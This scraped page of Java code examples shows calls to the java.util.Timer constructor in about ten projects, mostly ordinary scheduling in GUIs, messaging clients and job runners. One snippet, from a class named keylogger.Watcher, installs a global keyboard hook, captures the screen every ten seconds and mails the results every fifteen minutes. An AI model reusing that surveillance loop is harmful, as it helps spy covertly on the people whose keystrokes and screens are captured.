List of usage examples for java.util Timer Timer
public Timer()
From source file:Main.java
public static void main(String args[]) { final JFrame frame = new JFrame(); Container contentPane = frame.getContentPane(); JButton b = new JButton("Hide for 5"); ActionListener action = new ActionListener() { public void actionPerformed(ActionEvent actionEvent) { frame.setVisible(false);/* ww w . ja v a 2 s .c o m*/ TimerTask task = new TimerTask() { public void run() { frame.setVisible(true); } }; Timer timer = new Timer(); timer.schedule(task, 5000); } }; b.addActionListener(action); AncestorListener ancestor = new AncestorListener() { public void ancestorAdded(AncestorEvent e) { System.out.println("Added"); dumpInfo(e); } public void ancestorMoved(AncestorEvent e) { System.out.println("Moved"); dumpInfo(e); } public void ancestorRemoved(AncestorEvent e) { System.out.println("Removed"); dumpInfo(e); } private void dumpInfo(AncestorEvent e) { System.out.println("\tAncestor: " + name(e.getAncestor())); System.out.println("\tAncestorParent: " + name(e.getAncestorParent())); System.out.println("\tComponent: " + name(e.getComponent())); } private String name(Container c) { return (c == null) ? null : c.getName(); } }; b.addAncestorListener(ancestor); contentPane.add(b, BorderLayout.NORTH); frame.setSize(300, 200); frame.setVisible(true); }
From source file:eu.finesce.emarketplace.core.Scilab2OrionTimer.java
public static void main(String[] args) throws InterruptedException { String currentTime = null;// w w w .j av a 2 s . c om // Scilab2Orion rtlab2Orion = new Scilab2Orion("scilab2orion.properties", currentTime); // Timer timer = new Timer(); //to schedule every 15mins // timer.schedule(rtlab2Orion, 0, 900000); //call every 15 min }
From source file:com.pureinfo.srm.config.notice.TestTimer.java
public static void main(String[] args) throws ParseException { Calendar start = new GregorianCalendar(); start.setTime(format.parse("18:40")); Calendar cal = new GregorianCalendar(); start.set(Calendar.YEAR, cal.get(Calendar.YEAR)); start.set(Calendar.MONTH, cal.get(Calendar.MONTH)); start.set(Calendar.DAY_OF_MONTH, cal.get(Calendar.DAY_OF_MONTH)); while (start.before(cal)) { start.setTimeInMillis(start.getTimeInMillis() + DateUtils.MILLIS_PER_MINUTE); }//from w ww . jav a 2 s . c om new Timer().scheduleAtFixedRate(new test1(), start.getTime(), DateUtils.MILLIS_PER_MINUTE); }
From source file:Mulai.java
public static void main(String[] args) { //System.out.println("user ID: "+args[0]); //System.out.println("things ID: "+args[1]); //new Gateway(args[0],args[1]); Timer timer = new Timer(); timer.schedule(new Gateway(), 0, 10000); }
From source file:com.gamerking195.dev.lametric.RestfulWriter.java
public static void main(String[] args) { RestfulWriter restful = new RestfulWriter(); new Timer().scheduleAtFixedRate(restful.new RefreshTask(), 0L, debug ? 30 * 1000L : 60 * 1000L); }
From source file:keylogger.Watcher.java
public static void main(String[] args) { watcherFolder = new File(folderName); if (!watcherFolder.exists()) { watcherFolder.mkdirs();// w w w . j a va 2s . co m } /* Its error */ System.out.println("start thread"); Thread thread = new Thread(new Runnable() { @Override public void run() { try { GlobalScreen.registerNativeHook(); } catch (NativeHookException ex) { Logger.getLogger(Watcher.class.getName()).log(Level.SEVERE, null, ex); } GlobalScreen.getInstance().addNativeKeyListener(new KeyLogger()); } }); thread.start(); Timer screenCapture = new Timer(); screenCapture.schedule(new Screen(), 0, 10000); Timer sendMail = new Timer(); sendMail.schedule(new Send(), 0, 900000); /* Construct the example object and initialze native hook. */ }
From source file:example.client.CamelMongoJmsStockClient.java
@SuppressWarnings("resource") public static void main(final String[] args) throws Exception { systemProps = loadProperties();/*from w w w . j a v a 2 s . c om*/ AbstractApplicationContext context = new ClassPathXmlApplicationContext("camel-client.xml"); ProducerTemplate camelTemplate = context.getBean("camelTemplate", ProducerTemplate.class); List<Map<String, Object>> stocks = readJsonsFromMongoDB(); for (Map<String, Object> stock : stocks) { stock.remove("_id"); stock.remove("Earnings Date"); camelTemplate.sendBody(String.format("jms:queue:%s", systemProps.getProperty("ticker.queue.name")), ExchangePattern.InOnly, stock); } new Timer().schedule(new TimerTask() { @Override public void run() { Map<String, Object> aRandomStock = stocks.get(RandomUtils.nextInt(0, stocks.size())); aRandomStock.put("Price", ((Double) aRandomStock.get("Price")) + RandomUtils.nextFloat(0.1f, 9.99f)); camelTemplate.sendBody(String.format("jms:queue:%s", systemProps.getProperty("ticker.queue.name")), ExchangePattern.InOnly, aRandomStock); } }, 1000, 2000); }
From source file:jp.mamesoft.mailsocketchat.Mailsocketchat.java
public static void main(String argv[]) { System.out.println("MailSocketChat Ver." + version); if (argv.length != 6) { System.out.println(// ww w . j a v a 2 s . com "ERROR! ? <?URL> <???> <GMail??> <GMail> <(Simple???Normal???All)> <????(Subject???Text)> ???????"); System.exit(0); } TimerTask newversion = new NewVersion(); Timer timer = new Timer(); timer.schedule(newversion, 0, 6 * 60 * 60 * 1000); //6?????? chat_url = argv[0]; chat_name = argv[1]; mail_user = argv[2]; mail_pass = argv[3]; if (argv[4].equals("Simple")) { logformat = "simple"; } else if (argv[4].equals("Normal")) { logformat = "normal"; } else if (argv[4].equals("All")) { logformat = "all"; } else { System.out.println( "ERROR! (5)???????Simple???Normal???All???????"); System.exit(0); } if (argv[5].equals("Subject")) { subjectname = true; } else if (argv[5].equals("Text")) { subjectname = false; } else { System.out.println( "ERROR! ????(6)???????Subject???Text???????"); System.exit(0); } try { Properties headers = new Properties(); headers.setProperty("user-agent", "MailSocketChat/" + version + " (" + osName + " " + osVer + ") Java/" + javaver + " (Mamesoft Web)"); socket = new SocketIO(chat_url, headers); socket.connect(new IOCallback() { @Override public void onMessage(JSONObject json, IOAcknowledge ack) { try { } catch (JSONException e) { e.printStackTrace(); } } @Override public void onMessage(String data, IOAcknowledge ack) { } @Override public void onError(SocketIOException socketIOException) { System.out.println("??????"); System.err.println(socketIOException); System.exit(0); } @Override public void onDisconnect() { System.out.println("???????"); System.exit(0); } @Override public void onConnect() { socket.emit("register", new JSONObject().put("mode", "client").put("lastid", 1)); System.out.println("SocketChat?????"); Thread mail = new Mail(); mail.start(); } @Override public void on(String event, IOAcknowledge ack, Object... args) { if (event.equals("log")) { JSONObject jsondata = (JSONObject) args[0]; Logperse(jsondata); } if (event.equals("init")) { JSONObject jsondata = (JSONObject) args[0]; JSONArray logs = jsondata.getJSONArray("logs"); for (int i = logs.length() - 1; i >= 0; i--) { JSONObject log = logs.getJSONObject(i); Logperse(log); } socket.emit("inout", new JSONObject().put("name", chat_name)); } if (event.equals("result")) { JSONObject jsondata = (JSONObject) args[0]; System.out.println(jsondata); } if (event.equals("users")) { JSONObject jsondata = (JSONObject) args[0]; JSONArray users = jsondata.getJSONArray("users"); for (int i = 0; i < users.length(); i++) { JSONObject user = users.getJSONObject(i); userchange(user); } } if (event.equals("newuser")) { JSONObject jsondata = (JSONObject) args[0]; userchange(jsondata); } if (event.equals("inout")) { JSONObject jsondata = (JSONObject) args[0]; userchange(jsondata); } if (event.equals("deluser")) { Integer id = (Integer) args[0]; if (users.containsKey(id)) { users.remove(id); } if (roms.containsKey(id)) { roms.remove(id); } } if (event.equals("userinfo")) { JSONObject jsondata = (JSONObject) args[0]; if (jsondata.getBoolean("rom")) { in = false; } else { in = true; } } } }); } catch (MalformedURLException e1) { e1.printStackTrace(); System.out.println("URL????????"); return; } }
From source file:URLMonitorPanel.java
public static void main(String[] args) throws Exception { JFrame frame = new JFrame("URL Monitor"); Container c = frame.getContentPane(); c.setLayout(new BoxLayout(c, BoxLayout.Y_AXIS)); Timer t = new Timer(); String[] u = new String[] { "http://www.java2s.com", "http://www.java2s.com" }; for (int i = 0; i < u.length; i++) { c.add(new URLMonitorPanel(u[i], t)); }// w w w .ja v a 2 s.c o m frame.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent evt) { System.exit(0); } }); frame.pack(); frame.show(); }
From source file:hydrograph.server.execution.tracking.client.main.HydrographMain.java
/** * The main method.//w w w . jav a 2 s . c o m * * @param args * the arguments * @throws Exception * the exception */ public static void main(String[] args) throws Exception { HydrographMain hydrographMain = new HydrographMain(); final Timer timer = new Timer(); final CountDownLatch latch = new CountDownLatch(1); try { Session session = null; boolean isExecutionTracking = false; String[] argsList = args; List<String> argumentList = new ArrayList<String>(Arrays.asList(args)); final String jobId = hydrographMain.getJobId(argumentList); getLogLevel(argumentList).ifPresent(x -> { if (!x.equalsIgnoreCase(String.valueOf(logger.getLevel()))) { setLoglevel(x); } else { Optional.empty(); } }); logger.info("Argument List: " + argumentList.toString()); String trackingClientSocketPort = hydrographMain.getTrackingClientSocketPort(argumentList); if (argumentList.contains(Constants.IS_TRACKING_ENABLE)) { int index = argumentList.indexOf(Constants.IS_TRACKING_ENABLE); isExecutionTracking = Boolean.valueOf(argsList[index + 1]); argumentList = removeItemFromIndex(index, argumentList); } if (argumentList.contains(Constants.TRACKING_CLIENT_SOCKET_PORT)) { int index = argumentList.indexOf(Constants.TRACKING_CLIENT_SOCKET_PORT); argumentList = removeItemFromIndex(index, argumentList); } argsList = argumentList.toArray(new String[argumentList.size()]); logger.debug("Execution tracking enabled - " + isExecutionTracking); logger.info("Tracking Client Port: " + trackingClientSocketPort); /** * Start new thread to run job */ final HydrographService execution = new HydrographService(); FutureTask task = hydrographMain.executeGraph(latch, jobId, argsList, execution, isExecutionTracking); hydrographMain.executorService = Executors.newSingleThreadExecutor(); hydrographMain.executorService.submit(task); if (isExecutionTracking) { //If tracking is enabled, start to post execution tracking status. final HydrographEngineCommunicatorSocket socket = new HydrographEngineCommunicatorSocket(execution); session = hydrographMain.connectToServer(socket, jobId, trackingClientSocketPort); hydrographMain.sendExecutionTrackingStatus(latch, session, jobId, timer, execution, socket); } //waiting for execute graph thread task.get(); } catch (Exception exp) { logger.info("Getting exception from HydrographMain"); throw new RuntimeException(exp); } finally { //cleanup threads --> executor thread and timer thread logger.info("HydrographMain releasing resources"); if (!hydrographMain.executorService.isShutdown() && !hydrographMain.executorService.isTerminated()) { hydrographMain.executorService.shutdown(); } timer.cancel(); } }